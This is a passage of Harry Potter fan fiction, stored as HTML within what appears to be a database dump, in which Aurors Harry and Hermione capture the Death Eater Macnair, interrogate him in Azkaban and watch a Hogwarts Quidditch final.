capture a Death Eater by the\nname of Walden Macnair. They&#8217;d been tracking him\ntenaciously for weeks, and finally had him cornered in\nWales. On top of\nthis, he remembered with a frown, they had to start researching the Orb of\nSlytherin. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">He pulled his midnight-blue robes over his\nhead. &#8220;<i style="mso-bidi-font-style:normal">Accio</i>\nwand,&#8221; he said almost lazily, and eleven inches of holly flew across the room\nand into his outstretched hand. This showed just how powerful he&#8217;d become&#8212; wandless magic was extremely difficult and hardly anybody\ncould perform it. But he&#8217;d learned how to do it, as it was an essential skill\nfor Aurors. It used to take him nearly half an hour\nto perform each spell without a wand, but now he could complete simple spells\nalmost instantaneously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He grabbed a stale bran muffin as he walked\nout the door. Standing in the dim red light of the rising sun, Harry donned a\npair of sunglasses. This wasn&#8217;t because it was bright out&#8212; in fact, the glasses\nwere enchanted so that they didn&#8217;t darken his vision at all. He wore them so\nthat others couldn&#8217;t see his eyes. He always wore them while he was around\nother people&#8212; too much could be revealed through the eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry Disapparated, and reappeared in the Aurors&#8217; office at the Ministry of Magic. Hermione was\nalready there, deep in conversation with the Minister of Magic himself, Arthur Weasley, who said cheerfully, &#8220;Hello, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Mr Weasley certainly\nhad plenty to be cheerful about. Ever since he was promoted to his current\nposition, he had been hailed as one of the greatest Ministers of the century.\nIndeed, his management proved to be very successful in preventing Voldemort&#8217;s full rise to power&#8212; by imposing prudent\nsecurity measures and liberally increasing funding for the Auror department, he\nhad managed to keep the country under Light rule. Harry suspected that Mr Weasley&#8217;s obsession with stopping Voldemort stemmed from\nhis desire to get revenge for his youngest son&#8217;s death.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Morning,&#8221; said Harry through a mouthful of\nmuffin, which he swallowed hastily. &#8220;Ready to go, Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Just a moment,&#8221; she responded. Harry went\nover to her desk to see what she and Mr Weasley had\nbeen studying. It was a map, on which Macnair&#8217;s path\naround Britain had been marked\nwith luminescent purple ink. The zigzagging, crisscrossing purple line seemed\nto end somewhere in southern Wales. &#8220;Cardiff,&#8221; Hermione\nmuttered, and looked at the address she had written on the edge of a city map.\n&#8220;According to this address, he&#8217;s hiding in a tiny flat off a side alley&#8212; that&#8217;s\ngood, there&#8217;s less of a chance that we&#8217;ll be seen by Muggles&#8230;\nthen again, we&#8217;ll be further from help&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;We won&#8217;t <i style="mso-bidi-font-style:normal">need</i>\nhelp,&#8221; said Harry impatiently. &#8220;Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Macnair is an\nimportant Death Eater, one of the last remaining from You-Know-Who&#8217;s original\nInner Circle,&#8221; objected Mr Weasley. &#8220;It is more than\nlikely that he&#8217;ll have some class of protection, or\nreinforcements of some kind&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Don&#8217;t worry, Mr Weasley.\nWe&#8217;ve never failed a mission, and we don&#8217;t plan to start today,&#8221; said Harry. He\nlooked at Hermione, who nodded back to him, and together they Disapparated. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">They found themselves on a narrow cobblestone\npath wedged between two buildings. It was raining steadily; Hermione read off\nthe address again and studied the map, holding it under her sleeve as not to\nget it wet. &#8220;This way,&#8221; she said, and gestured to her right. He followed her\nseveral metres down the alley, before they came to a stop in the very centre of\nthe path. &#8220;According to the map, the entrance is right here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked where she was pointing&#8212; the\ncentre of the vast wall of bricks, which had turned black from soot. He leaned\nagainst it, wondering if it was against Platform 9 &#190; at King&#8217;s Cross, but it\nwas quite solid. Hermione was tapping every brick with her wand and rattling\noff various Revealing spells faster than Harry could even think of them. But\nnothing happened&#8212; no door appeared. They felt around for invisible doorknobs or\nhandles, but to no avail.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Maybe the map is wrong,&#8221; she said, frowning\nslightly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No, just wait,&#8221; Harry said. &#8220;Stand back.&#8221; He\ntook a step backwards, and Hermione moved behind him. He surveyed the wall,\nglistening with rain. He may not have played Quidditch in years, but his senses\nwere even sharper than they&#8217;d been when he was a Seeker, as a result of his\nexperience as an Auror. Something near the ground caught his eye. He knelt down\nto observe, and he saw something interesting; right where the wall met the\nstreet was a miniscule carving, rectangular in shape, and no bigger than his\nthumbnail. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;ll be damned,&#8221; he said under his breath. &#8220;<i style="mso-bidi-font-style:normal">Engorgio</i>.&#8221;\nThe lines of the carving began to lengthen, and grew until they were\nrecognisable as a wooden door, painted black to camouflage with the filthy\nbricks and complete with a doorknob.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well done, Harry,&#8221; said Hermione. &#8220;<i style="mso-bidi-font-style:normal">Alohamora</i>.&#8221;\n</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They heard the lock click open. Hermione\nplaced a quick Silencing Charm on the door (in case it creaked) before they\nopened it and walked quietly inside. They had entered into a barren room, with\na simple stone floor and walls of the same brick as the buildings outside,\nthough much less dirty. They stepped silently into the pitch blackness, not\nwanting to alert anyone of their presence by lighting their wands. Harry stood\nabsolutely still, listening intently. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">For several minutes they did absolutely\nnothing&#8212; their Auror training stressed the utmost attentiveness and\nguardedness&#8212; until Harry pointed his wand straight into the darkness and said,\n&#8220;<i style="mso-bidi-font-style:normal">Stupefy</i>.&#8221; There was a <i style="mso-bidi-font-style:normal">thud</i> as a body fell to the floor;\nsuddenly, the entire room was illuminated by lights coming from nowhere. They\nwasted no time when they saw the half dozen Death Eaters that had been\nadvancing quietly on them&#8212; but not quietly enough.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:\nnormal">Petrificus</i><i style="mso-bidi-font-style:normal"> totalus</i>!&#8221; shouted Hermione as she dodged a curse sent\nat her by one of the Death Eaters.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">Stupefy</i>,&#8221;\nHarry said again, stunning a Death Eater about to escape out the door. Without\neven looking he held his wand over his shoulder, aiming behind him, to put the\nFull Body Bind on a wandless Death Eater charging\ntoward his back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:\nnormal">Expelliarmus</i>,&#8221; said Hermione from the floor (she&#8217;d\noverbalanced when hit by a nasty Leg-Locker Curse). She Stunned\nthe last Death Eater after Disarming him; now seven figures in black robes and\nwhite masks were lying unconscious on the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That wasn&#8217;t so bad,&#8221; said Harry. &#8220;<i style="mso-bidi-font-style:normal">Locomotor</i><i style="mso-bidi-font-style:normal"> vitus</i>.&#8221;\nHe performed the countercurse so Hermione could get\nto her feet.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Thanks,&#8221; she said, brushing dirt off of her\nemerald robes. &#8220;Which one&#8217;s Macnair?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They pulled the hood and mask off of each\nDeath Eater, but didn&#8217;t see anyone who even closely resembled the executioner\nthey remembered from their third year at Hogwarts. These Death Eaters were all\nquite young.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How strange&#8230;&#8221; murmured\nHermione, absentmindedly wringing out her hair, which was still wet from the\nrain.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stepped back outside into the downpour.\nHe looked up and down the alley&#8212; in a dumpster, behind some bins, inside a\ncardboard box&#8212; but all was deserted. But no sooner had he turned around to go\nback inside than he heard a cold voice behind him cry out a spell that Harry\ndidn&#8217;t recognise. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">His body exploded with pain. Looking at his\nhands, which were barely managing to hold on to his wand, he saw that his skin\nhad turned the violent red colour of a severe sunburn.\nHe stiffened; his skin was burning where it touched his robes, and the\nraindrops that fell on him felt like fireballs.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Biting his tongue against the pain, he whirled\naround to find his attacker, but no one was there. &#8220;<i style="mso-bidi-font-style:\nnormal">Stupefy! Stupefy!</i>&#8221; He sent the Stunning Spell everywhere around him\nas he backed as quickly as he could towards the door. He had no idea if he had\nactually hit someone with one of the spells. He then felt even more\nconsiderable pain as Hermione burst through the door and right into Harry,\nsending him crashing to the hard ground. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was no stranger to pain, but this was as\nclose to the Cruciatus curse itself as he had ever\nexperienced.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry!&#8221; she gasped, taking in his red skin\nand the expression on his face. &#8220;I&#8217;m so sorry&#8230; What spell was it?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I don&#8217;t know,&#8221; he said, gritting his teeth.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry could practically see Hermione&#8217;s mind at\nwork. He only needed to wait a minute before his pain was alleviated, because\nafter a moment&#8217;s reflection Hermione had recalled the spell and successfully\nperformed the countercurse for him. Harry was too\nrelieved to wonder how, where, and why she&#8217;d ever learned that particular\nspell, and, even more miraculously, known the countercurse,\nwhen he could honestly say that he&#8217;d never heard of such magic. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What happened?&#8221; she said, her wand still at\nthe ready in case Harry&#8217;s attacker was still around. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry turned over onto his side and stretched\nout his arms. He&#8217;d rolled right into something when Hermione knocked him down.\nHis hand closed on something soft&#8212; he pulled an Invisibility Cloak off of the\nmysterious mass beside him to reveal the tan, healthy face of Walden Macnair. &#8220;Mission accomplished,&#8221;\nhe said, looking up into the face of his partner. Hermione smiled at him. </p>\n\n<p class="MsoNormal">~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">After an afternoon spent returning the\ncaptured Death Eaters to Azkaban, Harry returned home, exhausted, to find Remus\nalready sitting on the couch, waiting for him. He was holding a copy of the <u>Evening\nProphet</u>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hello, Harry,&#8221; he greeted. &#8220;Congratulations.&#8221;\nHe held up the newspaper to show Harry the headline&#8212; <i style="mso-bidi-font-style:\nnormal">THE DREAM TEAM DOES IT AGAIN: MACNAIR FINALLY APPREHENDED</i>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hi, Remus,&#8221; Harry rejoined. &#8220;The press don&#8217;t\nmiss a thing, do they?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Not from your life, they don&#8217;t,&#8221; said Remus.\nHe Summoned two bottles of butterbeer\nfrom his own kitchen across the street, through the open window, and onto the\ntable in front of them. &#8220;A job well done, as always. And a cause to celebrate, in my opinion.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It&#8217;s not a big deal. We probably won&#8217;t get\nanything from him,&#8221; said Harry, but he accepted the bottle Remus handed him. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I wouldn&#8217;t be so sure,&#8221; said Remus\nthoughtfully. &#8220;He was fairly high up in Voldemort&#8217;s\nranks&#8212; I&#8217;m sure he has some interesting information. And I&#8217;m sure he&#8217;d gladly\ndivulge it to you, maybe over a little tea&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry grinned and took a sip of his butterbeer. It was delicious, of course, but somehow it\ntasted bittersweet as well. Perhaps it was because his godfather had been so\npassionate about this particular drink&#8212; any reason was a good reason to have a butterbeer or two (or a few dozen) in Sirius&#8217;s eyes. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus was reading over the account of Macnair&#8217;s capture in the paper, shaking his head\ndisbelievingly. &#8220;Honestly, is there anything you two can&#8217;t do?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry pretended not to hear Remus&#8217;s accolade. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remus noticed this. &#8220;No\nmatter what you may think, Harry, you deserve every word of praise anybody can\ngive you. So here&#8217;s a little more for you&#8212; Sirius and James would have been\nproud.&#8221;</p>\n\n\n\n\n\n\n'),
	(64, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">- part\nII: the good old days &#8211;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The next day, Harry and Hermione were back in\nAzkaban, preparing for another interview. They stood outside the cell\ncontaining Macnair, one of eight new prisoners who\nhad just arrived at the wizarding prison. Hermione\nconjured two chairs in the cell.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Good afternoon,&#8221; said Harry smoothly. &#8220;Care\nfor something to drink?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Macnair growled, &#8220;Nice\ntry, Potter, but I&#8217;ve been warned about your little tricks.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry sat down. &#8220;Then I guess we&#8217;ll have to do\nthis the traditional way.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You&#8217;re wasting your time. I&#8217;ll never tell you\nbastards anything!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They ignored this. Hermione was thinking very\nfast of how to ask questions that he would answer. &#8220;Tell me,&#8221; she said slowly,\n&#8220;have you done any travelling recently?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Macnair glared at her.\n&#8220;Not to where the Orb of Slytherin is,&#8221; he said maliciously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione stared right back at him. &#8220;All right,\nso you know what we want. So why don&#8217;t you help us out? It&#8217;d save you a\nlifetime in here,&#8221; she said, gesturing to the prison cell around them.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No,&#8221; he spat, &#8220;when my Master sees my\nloyalty, he will come and break me out of here. He will get <i style="mso-bidi-font-style:normal">all</i> of us out of here!&#8221; The other jailed\nDeath Eaters had apparently been listening in on the conversation, because\nthere was an explosion of cheers from the other cells. Behind his sunglasses,\nHarry rolled his eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh, <i style="mso-bidi-font-style:\nnormal">really</i>?&#8221; said Hermione amusedly, traces of a smile evident on her\nface. &#8220;You <i style="mso-bidi-font-style:normal">can&#8217;t</i> mean the same\n&#8216;Master&#8217; that seems to be having quite a lot of trouble establishing his own\nlittle &#8216;reign of terror&#8217; in Britain?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:\nnormal">All because of you two</i>!&#8221; Macnair\nsnarled. He dove at Hermione, but she was too quick for him; she jumped out of\nthe way and Macnair came crashing into the empty\nchair. After getting to his feet he charged at Harry, who aimed a well-placed\nkick to Macnair&#8217;s chest that sent the inmate flying\nbackwards into the corner. Eyes flashing dangerously, Macnair\nsank back onto his stone bench.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;So much for getting out of Azkaban on good\nbehaviour,&#8221; said Hermione scathingly. She took out her wand so that Macnair could see it. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smirked as Macnair\nscowled at them. &#8220;So what were you going to tell us?&#8221; Harry asked calmly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Go to hell, Potter.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Try again.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Macnair spat on him;\nHarry nonchalantly wiped his sunglasses off on his robes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Frustrated, Hermione said, &#8220;You&#8217;re on your\nlast chance. <i style="mso-bidi-font-style:normal">Tell us where the Orb is</i>.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Or what?&#8221; Macnair sneered.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Or we&#8217;ll kill Voldemort,&#8221; said Harry, feeling\nthat Voldemort&#8217;s destruction was the only thing that\ncould scare Macnair into talking. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ha! It can&#8217;t be done!&#8221; said Macnair haughtily.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Then why not just tell us where the Orb is,\nif it won&#8217;t kill Voldemort?&#8221; Hermione shot back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m telling you, it&#8217;s impossible!&#8221; barked Macnair.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You just watch us,&#8221; hissed Hermione, slamming\nthe barred door closed behind them as they left the cell. &#8220;I guess we&#8217;ll have\nto do this the long way,&#8221; she said to Harry. Ignoring the various obscenities\nbeing shouted at them by the Death Eaters they passed, they made their way back\nout of the prison.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Barking mad,&#8221; Hermione muttered, shaking her\nhead. She checked her watch and said, &#8220;I&#8217;d better go&#8212; I&#8217;ve got loads of reading\nto do.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Have you found anything?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, no&#8230; but then again, I&#8217;ve only had one\nnight to look. There&#8217;s no doubt in my mind that we&#8217;ll find something\neventually.&#8221; She Disapparated.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry checked his own watch. It was half past noon&#8212; which left him plenty of time to study <u>Dark\nArts in the Twentieth Century</u>. <i style="mso-bidi-font-style:normal">Lucky\nme</i>, he thought.</p>\n\n<p class="MsoNormal">~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;&#8230;born in 1926, graduated from Hogwarts in\n1944. Disappeared from the country until 1970 when he started gaining power&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was evening. Harry was at Remus&#8217;s house, sharing what little information he&#8217;d\ngathered about Tom Riddle/Voldemort&#8212; nothing he hadn&#8217;t known before. It was\nbecoming irritatingly clear how little was really known about Voldemort,\nparticularly about his origins. A week of searching their own books had\nrevealed nothing that would be of any use to them.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">There was a knock on the door and Hermione\nentered, a large beaker of potion under her arm. Curls of smoke were rising out\nof it; Harry was sure that this was Wolfsbane Potion.\nSure enough, when Hermione set it down on the table, Remus said quickly,\n&#8220;Thanks very much, Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Not at all,&#8221; she replied. She cleared a stack\nof books from a chair and sat down in it. &#8220;Had any luck with the Orb?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;None, whatsoever,&#8221; said Harry. &#8220;But I thought\nwe might look into Albania; I mean, that was where he was after he fell the first time.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus shook his head. &#8220;We&#8217;ve no reason to\nbelieve that it&#8217;s there. Nobody knows where he went during those years between\nHogwarts and 1970. He underwent twenty-six years of Dark Arts training and\nmagical transformations, but this could have been anywhere. The fact that he\nused Albania as his hideout\nis irrelevant&#8230; I mean, nothing there helped him to regain his power alone&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;But wouldn&#8217;t you say Albania has at least a <i style="mso-bidi-font-style:normal">possibility</i> of being the right place?&#8221;\nasked Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Certainly&#8230; at least, it has as much a\npossibility as anywhere else&#8230;&#8221; said Remus pensively.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The discussion continued into the night, and\nwas ended only when Remus announced his tiredness and retreated into his\nbedroom. Harry went outside and crossed the street&#8212; he was about to enter his\nown house when Hermione caught up with him. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry&#8212; wait.&#8221; He turned to find Hermione\ncoming up the steps of his front porch. &#8220;Aren&#8217;t you going to say goodnight to\nme?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Missing the teasing sarcasm in her voice, he\nsaid quickly, &#8220;Er, sorry&#8212; goodnight.&#8221; He turned back\naround to walk into the house, but Hermione stepped in front of him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry, listen. Next weekend Gryffindor plays\nSlytherin for the Quidditch Cup. Want to go watch?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No, thanks.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Why on earth not?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione, we&#8217;re in the middle of our most\nimportant project ever&#8212; I don&#8217;t have time to go and watch silly games.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It was more than just a &#8216;silly game&#8217; when <i style="mso-bidi-font-style:normal">you</i> played for Gryffindor, wasn&#8217;t it?&#8221;\nshe retorted. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That was before&#8230; well, I&#8217;ve realised what&#8217;s\nimportant and what&#8217;s not.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;So spending some time with your friends isn&#8217;t\nimportant, then?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What friends?&#8221; Harry said bitterly. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">Harry</i>!&#8221;\nHermione looked as though she might explode with frustration. &#8220;Why are you\ndoing this to yourself? You know perfectly well who your friends are&#8212;&nbsp; Ginny, Dean,\nSeamus, Fred and George&#8230;&#8221; she started counting off names on her fingers.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;They don&#8217;t need me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh, is that so? And I suppose you don&#8217;t need\nthem, either?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How can I do my work if I&#8217;m dependent on\nother people? Besides, I learned a long time ago that I can&#8217;t trust anyone&#8212; except\nmaybe you and Remus, and Dumbledore&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Fine.&#8221; Hermione&#8217;s voice was exasperated, but\nher face showed only concern. &#8220;I don&#8217;t understand why you think that way, but I\ncan see you won&#8217;t be swayed&#8230;&#8221; Her voice became quiet and pleading. &#8220;But<i style="mso-bidi-font-style:normal"> please</i> think about it, Harry. We\ndeserve a break, it&#8217;d be good for you to get out, and good for me too, for that\nmatter. It would mean a lot to me&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry frowned. He hated arguing with Hermione&#8212;\nshe was always right. &#8220;Fine, I&#8217;ll go,&#8221; he said resignedly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione smiled and gave him a quick kiss on\nthe cheek before she Disapparated. With an annoyed sigh, Harry went inside,\nopened the latest book he&#8217;d been assigned, and began to take notes.</p>\n\n<p class="MsoNormal">~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A week later he was sitting high up in the\nstands of the Quidditch stadium. It was actually the first time he&#8217;d been in\nthe stands; it seemed strange not to be in the changing room or out on the\npitch with the rest of the team&#8230; </p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">Stop it</i>, he ordered\nhimself. <i style="mso-bidi-font-style:normal">You&#8217;re an Auror, not a Quidditch\nplayer. You shouldn&#8217;t have let Hermione talk you into this. You&#8217;re too weak</i>.\nHe scowled his displeasure that he was allowing himself this luxury. He\nreasoned that the only way he could fix the situation was to <i style="mso-bidi-font-style:normal">not</i> let himself to enjoy it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The stadium was full&#8212; all the students had\ntaken their seats and were ready for the match to begin. But before the teams\ntook to the pitch, the commentator had a special announcement to make. &#8220;On\nbehalf of Hogwarts I would like to welcome our guests of honour to today&#8217;s\nmatch. Supporting Slytherin today we have Auror Blaise Zabini,\nand former Slytherin Quidditch players Terence Higgs, Adrian Pucey, and Marcus Flint!&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The commentator paused as she waited for the Slytherins in the crowd to stop cheering. Then she\ncontinued, &#8220;And supporting Gryffindor, we have four Weasleys&#8212;\nFred, Angelina, George, and Katie, all part of the 1994 and 1996 Quidditch\nCup-winning Gryffindor teams!&#8221; Their section of the stands was magically\nilluminated and Harry could see Fred and George grinning and waving, their\nfaces painted scarlet and gold&#8212; the colours of Gryffindor. Angelina held up a\nlittle boy (who judging by the mop of red hair was hers and Fred&#8217;s son) who was\nwearing face paint to match his father&#8217;s. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;My mistake,&#8221; said the commentator, &#8220;we have <i style="mso-bidi-font-style:normal">five</i> Weasleys\nin attendance today. And also supporting Gryffindor today, the world-famous\nAuror pair, Hermione Granger and&#8230; HARRY POTTER!&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was almost blinded by the lights that\nwere all suddenly focused on them. He could barely hear the commentator\nrattling off Hermione&#8217;s academic records and his Quidditch statistics over the\nspectators&#8217; deafening cheers. To please the crowd he forced a smile and held up\nhis hand in a dignified wave. To his left, Hermione was both beaming and\nblushing. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;And now let&#8217;s start the match!&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">As the teams emerged from their locker rooms\nand onto the field amid torrents of noise, Harry felt a strange sort of\nnostalgia, which he quickly forced to the back of his mind. He swiftly quashed\nthe familiar rush of excitement when Madam Hooch sounded her silver whistle and\nthe match began. He refrained from shouting and cheering with the rest as the\ntwo teams battled on&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;And Slytherin Chaser Foot with the Quaffle now, rocketing up the field&#8230; <i style="mso-bidi-font-style:\nnormal">Wow</i>, did you see that? Foot fakes out Gryffindor Chaser Hall,\npasses her, it&#8217;s just him and the Keeper&#8230; and he scores! Thirty-ten for\nSlytherin now. Brian Smith with the Quaffle now for\nGryffindor, look at him go! Come on, Brian&#8230; OUCH! Collides with Slytherin\nBeater Danforth, he&#8217;ll feel that in the morning. Quaffle taken by Slytherin, but Foot takes a Bludger to the face, that&#8217;ll leave a mark. He drops the Quaffle, and it&#8217;s caught by Amanda Hall, who puts it past\nthe Slytherin Keeper for a goal! Thirty-twenty now to\nSlytherin!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry exhaled, realising that he had been\nholding his breath in anticipation. &#8220;Looks like this&#8217;ll be a close match, these\ntwo excellent teams will fight until the last breath! I think it&#8217;ll come down\nto the Seekers&#8212; John Grant of Slytherin and Nick Forbes for Gryffindor, but\nthere&#8217;s been no sign of the Snitch yet. Smith just scored again, it&#8217;s tied at\nthirty points. Foot with the Quaffle again, loops the\nGryffindor defender&#8230; YES! Gryffindor Keeper Sarah Freeland pulls off a\nspectacular save and now it&#8217;s Hall again&#8230; LOOK AT GRANT AND FORBES!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The Snitch was hovering near the centre of the\npitch and the two Seekers were hurtling towards it from opposite ends. Each was\nbent low on his broomstick, eyes locked on the tiny flash of gold. A blur of\ngreen and a blur of scarlet&#8230; they were going to hit each other dead-on but\nneither would swerve from his path&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">CRUNCH. The Seekers collided at full speed at\nthe location of the Snitch, which disappeared from view. The crowd collectively\nwinced as both Seekers fell&#8212; Grant&#8217;s broom spiralled downward before he\nregained control and looked around wildly for the Snitch. But it was too late&#8212;\nthe stadium erupted in cheers as scarlet-clad Nick Forbes thrust his fist into\nthe air. He paid no heed to his heavily bleeding nose as he clutched the Snitch\nin his left hand and dangled from his airborne broom with his right. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry couldn&#8217;t stop the memories flooding back\nto him as he watched Nick Forbes float to the ground to be swarmed by the\nfrenzied Gryffindor crowd. He couldn&#8217;t help cheering as Dumbledore presented\nthe Quidditch Cup to the team captain. His throat felt unusually tight as he\nsaw his old House celebrating wildly&#8230; he couldn&#8217;t help it. It was lucky he was\nwearing his sunglasses, so that nobody could see the distant look in them as he\nlongingly thought of those carefree days.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Back at home, Harry silently deplored himself\nfor enjoying the Quidditch match. <i style="mso-bidi-font-style:normal">You\ncan&#8217;t have these pathetic feelings&#8212; they&#8217;ll get you into trouble. They&#8217;ll make\neverything harder</i>. So he forgot his emotions once again and returned to his\nsolitary life.</p>\n\n<p class="MsoNormal">~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Next morning his breakfast was 